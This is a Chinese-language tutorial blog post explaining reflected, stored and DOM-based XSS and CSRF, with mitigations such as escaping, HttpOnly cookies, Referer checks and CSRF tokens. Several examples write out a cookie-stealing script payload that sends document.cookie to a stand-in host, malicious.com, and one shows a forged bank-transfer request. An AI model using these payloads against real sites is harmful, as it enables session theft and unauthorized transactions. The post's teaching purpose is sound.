反射型 XSS 疑問及延伸(CSRF)

greenlihui發表於2019-04-08

有關反射型 XSS 的疑問

學習 XSS (Cross-Site Scripting,跨站指令碼攻擊) 的時候可以瞭解到 XSS 分為三種:持久型 (type-2),反射型 (type-1) 和基於 DOM 型 (type-0) 。
在看反射型的時候,總結一下大多數帖子給出的解釋:惡意指令碼本身是作為請求引數傳送到站點頁面存在漏洞的地方(通常是搜尋框),然後指令碼反射(出現)在新渲染(或者部分重新整理)的頁面並執行。

接下來看例子:
使用者在一個不防範 XSS 的網站中搜尋內容,關鍵字為 XXX,如果網站內包含 XXX的內容,那麼該內容就會被展示出來,如果網站中不包含相關,那麼可能會提示 XXX 相關內容不存在。也就是,使用者的搜尋內容最終都會以某種方式反射到搜尋結果中。如果搜尋內容為:<script>alert(1)</script>,那麼頁面就會執行這段 JavaScript 程式碼,也即該網站存在 XSS 漏洞。

那麼問題來了: 作為不懂 JavaScript 的使用者,是不可能自己在搜尋框中輸入惡意指令碼攻擊自己的。大部分網上的帖子給出的例子到以上內容為止,解釋了什麼是反射型 XSS,但是卻沒有說明如何進行攻擊。我猜想是通過例如 www.example.com?search=<script>window.location='http://malicious.com/?data=' + document.cookie</script> 這樣的惡意連結做到的,經歷一番搜尋求證,還是在一些部落格中有提及的確是這樣做的(具體檢視文末參考)。

XSS 小結

上文提到,XSS 可以分為三種,持久型(Persistent),反射型(Reflected),和基於 DOM 型(DOM-Based)。仔細來講一下這三者吧。

持久型

定義

惡意指令碼被攻擊者上傳到合法的伺服器中,並在常規的頁面瀏覽過程中返回給普通使用者並被執行。

例子

攻擊者在一個部落格網站中的一篇部落格下評論 <script>window.location='http://malicious.com/?data=' + document.cookie</script>,惡意程式碼就會在所有訪問這篇部落格評論的使用者的瀏覽器中執行。

反射型

定義

上文提過了,這裡重複一遍:惡意指令碼本身是作為請求引數傳送到站點頁面存在漏洞的地方(通常是搜尋框),然後指令碼反射(出現)在新渲染(或者部分重新整理)的頁面並執行。

例子

例子就不重複,開頭給出了具體的例子。不過查閱的文章中有張圖很形象,這裡引用一下

反射型 XSS 圖片說明

基於 DOM 型

定義

基於 DOM 型 XSS 其實是一種特殊的反射型 XSS,反射型 XSS 的執行過程經過了伺服器端(上面的例子中向伺服器發了請求),而基於 DOM 的 XSS 沒有經過伺服器端(惡意程式碼沒有流經服務端),直接通過 JavaScript(並非攻擊者寫的惡意指令碼,而是來自伺服器的 DOM 操作指令碼)將資料輸出到 HTML 頁面中。

例子

假設如下表單是讓使用者選擇他的首選語言,預設選項作為引數提供在了 "default" 引數中。

Select your language:

<select><script>
document.write("<OPTION value=1>" + document.location.href.substring( document.location.href.indexOf("default=") + 8)+"</OPTION>");
document.write("<OPTION value=2>English</OPTION>");
</script></select>
複製程式碼

使用一下 URL 呼叫該頁面

http://www.some.site/page.html?default=French
複製程式碼

可以通過向受害者傳送以下 URL 來完成基於 DOM 的 XSS 攻擊

http://www.some.site/page.html?default=<script>window.location='http://malicious.com/?data=' + document.cookie</script>
複製程式碼

反射型和持久型區別

最大的區別就是 XSS 惡意程式碼是否儲存在合法伺服器中,網友也有提到反射型需要欺騙使用者點選連結,而持久型使用者訪問相關頁面就直接觸發。

緩解辦法

根據攻擊原理,可得出如下緩解辦法(主要核心是第一條 —— 警惕使用者輸入):

  • 驗證使用者輸入或者做內容轉義

  • 對於反射型,可以提醒使用者小心惡意連結(這個幾乎沒用。。。)或者瀏覽器對 URL 做識別(Chrome,Firefox都支援)

  • 對於盜用 Cookie ,設定 HttpOnly 屬性來保證 JavaScript 程式碼無法訪問 cookie

XSS 延伸之 CSRF

因為都是 Cross-Site,XSS 和 CSRF 有時候一起出現儘管他們並不相同,CSRF 是 Cross-Site Request Forgery (跨站請求偽造),CSRF 攻擊通過偽裝成受信任使用者的請求來利用受信任的網站,不管使用什麼方法只要是偽造使用者發起的請求都可以稱為 CSRF 攻擊。

例子

使用者訪問銀行的網站,在 Session 還未過期的情況下(偽造使用者身份的關鍵) ,訪問了危險網站,危險網站執行如下程式碼

$.post('/www.bank.com/transfer?amt=500&transferTo=B, function(data) { } );
複製程式碼

這時候使用者在不知情的情況下轉賬給了使用者B 500元。

緩解辦法

不難看出,以上惡意網站發出的請求是跨域請求,在同源策略(Same Origin Policy)未被禁用時會被攔截,即使攻擊者通過 iframe/form 來成功傳送該請求(才知道表單允許跨域,因為無法獲取表單提交後的結果),伺服器端也可以通過檢查 Referer 來判斷請求來源是否合法。
但是,如果銀行使用的是 GET 請求來完成轉賬操作,攻擊者可以結合 XSS 來做到 CSRF 攻擊,只需要藉助以上 XSS 辦法讓使用者點選請求的 URL 即可,這種情況下的 CSRF 又叫 XSRF。這種情況下通過改良網站的 API 設計提高 CSRF 攻擊的門檻。
對系統的關鍵操作新增驗證碼也是有效抵抗 CSRF 攻擊的辦法,因為 "CSRF 攻擊往往是在使用者不知情的情況下構造了網路請求。而驗證碼會強制使用者必須與應用進行互動,才能完成最終請求" 。
不過針對 CSRF 最常用的方法還是使用 CSRF-Token ,通過在每次請求的請求頭中新增 Token,伺服器檢查 Token 可以有效防止 CSRF 攻擊。

CSRF 與 XSS 的區別

一句話總結:XSS 利用的是網站對使用者(輸入)的信任,CSRF 利用的是網站對使用者網頁瀏覽器的信任。

參考

相關文章